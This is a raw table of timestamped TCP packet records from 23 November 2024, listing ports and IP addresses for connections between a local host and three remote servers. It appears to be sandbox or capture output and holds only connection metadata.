Nov 23, 2024 18:22:17.470493078 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:17.596988916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.263770103 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.272252083 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.272315979 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.273437977 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.273453951 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.581104040 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.594768047 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:18.594871044 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:18.629206896 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.638669968 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.638684034 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.642893076 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.642899036 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.651592970 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:18.651674986 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:18.652120113 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:18.660815001 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:18.664612055 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:18.664686918 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:18.726108074 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.726192951 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.726279974 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.746887922 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.746942043 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.746983051 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.746999979 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.753293991 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.753345013 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.753463984 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.753586054 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.753604889 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.792530060 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.800153017 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.800177097 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.800550938 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:18.800563097 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:18.857845068 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.857858896 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.857932091 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:18.858773947 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.858793974 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.858808041 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.858823061 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:18.858841896 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:18.859395981 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.859572887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.859585047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.859623909 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:18.860028982 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.860074997 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:18.860331059 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.860378027 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:18.982414961 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.982482910 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:18.982659101 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.982700109 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:18.987109900 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.987246990 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:18.987292051 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.016588926 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.016742945 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.016874075 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.017066002 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.017092943 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.017107010 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.017117977 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.019777060 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.019804955 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.019962072 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.022736073 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.022753000 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.032402039 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.032438993 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.032787085 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.032808065 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.033005953 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.033041000 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.033278942 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.033286095 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.033438921 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.033444881 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.057841063 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.057890892 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.057940006 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.057981014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.062256098 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.062336922 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.062381983 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.071168900 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.071223974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.071237087 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.071275949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.080007076 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.080065966 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.080106974 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.080157995 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.088918924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.088941097 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.088965893 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.088989019 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.097696066 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.097839117 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.097857952 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.097873926 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.106538057 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.106591940 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.106827021 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.106877089 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.115400076 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.115451097 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.115572929 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.115669012 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.124252081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.124313116 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.124427080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.124478102 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.133101940 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.133155107 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.133229017 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.133275032 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.140728951 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.140778065 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.224823952 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.224843025 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.224877119 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.224891901 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.228523016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.228575945 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.255228996 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.255290031 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.255382061 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.257189989 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.257189989 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.257227898 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.257257938 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.259222031 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.259270906 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.259332895 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.259372950 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.260668039 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.260727882 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.260803938 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.260929108 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.260958910 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.263029099 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.263073921 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.263160944 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.263205051 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.270972967 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.271022081 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.271039963 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.271080017 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.278418064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.278465986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.278558016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.278600931 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.286191940 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.286226034 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.286263943 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.286292076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.291198015 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.291260958 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.291380882 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.291425943 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.296293974 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.296351910 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.296390057 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.296430111 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.299942970 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.300080061 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.300138950 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.300158024 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.300262928 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.300312042 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.300323009 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.301433086 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.301497936 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.301557064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.301604033 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.306591034 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.306663990 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.306675911 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.306720018 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.308772087 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.308830023 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.308840036 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.311654091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.311708927 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.311784983 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.311830997 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.316785097 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.316845894 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.317023039 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.317069054 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.317552090 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.317601919 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.317610979 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.321981907 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.322031975 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.322058916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.322103977 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.327059031 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.327116966 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.327267885 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.327318907 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.332314014 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.332359076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.332370996 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.332412004 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.337305069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.337361097 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.337426901 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.337466002 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.342418909 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.342468023 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.342533112 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.342580080 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.347532034 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.347611904 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.347620964 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.347661972 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.352658033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.352705956 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.353035927 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.353076935 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.357827902 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.357875109 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.357954025 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.358002901 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.362945080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.362986088 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.363061905 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.363112926 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.363565922 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.363574982 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.368033886 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.368083954 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.410440922 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.427392960 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.427443981 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.427444935 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.427484035 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.429831028 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.429878950 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.430195093 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.430239916 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.435129881 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.435182095 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.470588923 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.476465940 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.476541996 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.476576090 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.476618052 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.478543043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.478595018 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.478631020 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.478681087 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.482523918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.482575893 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.482654095 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.482702017 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.486545086 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.486596107 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.486656904 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.486705065 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.490550995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.490602016 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.490649939 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.490693092 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.494558096 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.494610071 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.494668007 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.494714975 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.497782946 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.497859001 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.497932911 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.498066902 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.498085022 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.498095989 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.498100996 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.498581886 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.498596907 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.498625040 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.498639107 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.498739958 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.498801947 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.498850107 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.498961926 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.498975992 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.498989105 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.498996973 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.500752926 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.500792027 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.500855923 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.500982046 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.500997066 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.501033068 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.501040936 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.501061916 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.501086950 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.501097918 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.501131058 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.501247883 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:19.501260996 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:19.502551079 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.502603054 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.502671003 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.502711058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.505604982 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.505661964 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.505739927 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.505744934 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.505763054 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:19.505768061 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:19.506611109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.506663084 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.506709099 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.506759882 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.510613918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.510704994 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.510741949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.510770082 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.513165951 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.513217926 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.513277054 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.513323069 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.515708923 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.515753031 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.515836954 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.515881062 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.518287897 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.518337965 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.518407106 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.518445969 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.520844936 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.520895004 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.520936966 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.520981073 CET	49779	80	192.168.2.4	185.215.113.16
